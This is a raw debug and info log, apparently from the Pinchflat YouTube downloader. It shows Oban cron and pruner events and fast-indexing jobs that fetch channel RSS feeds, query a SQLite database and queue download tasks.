[info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:08:26.200 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:56.202 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.283 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:09:26.203 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:56.205 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.284 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:10:23.710 [info] {"args":{"id":2},"id":572,"meta":{},"system_time":1784884223710234569,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:10:23.710 [debug] QUERY OK source="sources" db=0.0ms idle=235.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:10:23.710 [debug] QUERY OK source="settings" db=0.0ms idle=235.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:23.710 [debug] QUERY OK source="media_profiles" db=0.0ms idle=235.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:10:23.710 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:23.710 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 09:10:23.818 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:10:23.818 [debug] QUERY OK source="media_items" db=0.2ms idle=108.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:10:23.819 [debug] QUERY OK source="media_items" db=0.2ms idle=108.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 09:10:23.820 [debug] QUERY OK source="tasks" db=0.0ms idle=109.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [575, 2, ~U[2026-07-24 09:10:23Z], ~U[2026-07-24 09:10:23Z]] 09:10:23.820 [info] {"args":{"id":2},"id":572,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109947,"event":"job:stop","queue_time":571454,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:10:26.206 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:34.722 [info] {"args":{"id":1},"id":573,"meta":{},"system_time":1784884234722571838,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:10:34.722 [debug] QUERY OK source="sources" db=0.1ms idle=1246.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 09:10:34.723 [debug] QUERY OK source="settings" db=0.0ms idle=1246.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:34.723 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:10:34.723 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:34.723 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 09:10:34.760 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:10:34.761 [debug] QUERY OK source="media_items" db=0.3ms idle=38.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:10:34.763 [debug] QUERY OK source="media_items" db=1.9ms idle=38.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 09:10:34.764 [debug] QUERY OK source="tasks" db=0.1ms idle=41.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [576, 1, ~U[2026-07-24 09:10:34Z], ~U[2026-07-24 09:10:34Z]] 09:10:34.764 [info] {"args":{"id":1},"id":573,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":42189,"event":"job:stop","queue_time":498432,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:10:46.736 [info] {"args":{"id":3},"id":574,"meta":{},"system_time":1784884246736601324,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:10:46.736 [debug] QUERY OK source="sources" db=0.1ms idle=256.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:10:46.737 [debug] QUERY OK source="settings" db=0.1ms idle=257.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:46.737 [debug] QUERY OK source="media_profiles" db=0.0ms idle=257.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:10:46.737 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:10:46.737 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 09:10:46.761 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:10:46.761 [debug] QUERY OK source="media_items" db=0.3ms idle=24.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:10:46.764 [debug] QUERY OK source="media_items" db=1.9ms idle=25.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 09:10:46.764 [debug] QUERY OK source="tasks" db=0.0ms idle=27.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [577, 3, ~U[2026-07-24 09:10:46Z], ~U[2026-07-24 09:10:46Z]] 09:10:46.765 [info] {"args":{"id":3},"id":574,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":28321,"event":"job:stop","queue_time":505064,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:10:56.207 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.285 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:11:26.208 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:56.209 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.286 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:12:26.210 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:56.211 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.287 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:13:26.212 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:56.213 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.288 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:14:26.215 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:56.217 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.289 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:15:26.218 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:56.219 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.290 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:16:26.220 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:56.221 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.291 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:17:26.222 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:56.223 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.292 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:18:26.224 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:56.226 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.293 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:19:26.227 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:56.229 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.294 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:20:24.382 [info] {"args":{"id":2},"id":575,"meta":{},"system_time":1784884824382427093,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:20:24.382 [debug] QUERY OK source="sources" db=0.1ms idle=892.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:20:24.382 [debug] QUERY OK source="settings" db=0.0ms idle=892.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:24.382 [debug] QUERY OK source="media_profiles" db=0.0ms idle=893.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:20:24.383 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:24.383 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 09:20:24.509 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:20:24.509 [debug] QUERY OK source="media_items" db=0.2ms idle=126.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:20:24.510 [debug] QUERY OK source="media_items" db=0.2ms idle=127.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 09:20:24.511 [debug] QUERY OK source="tasks" db=0.1ms idle=127.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [578, 2, ~U[2026-07-24 09:20:24Z], ~U[2026-07-24 09:20:24Z]] 09:20:24.511 [info] 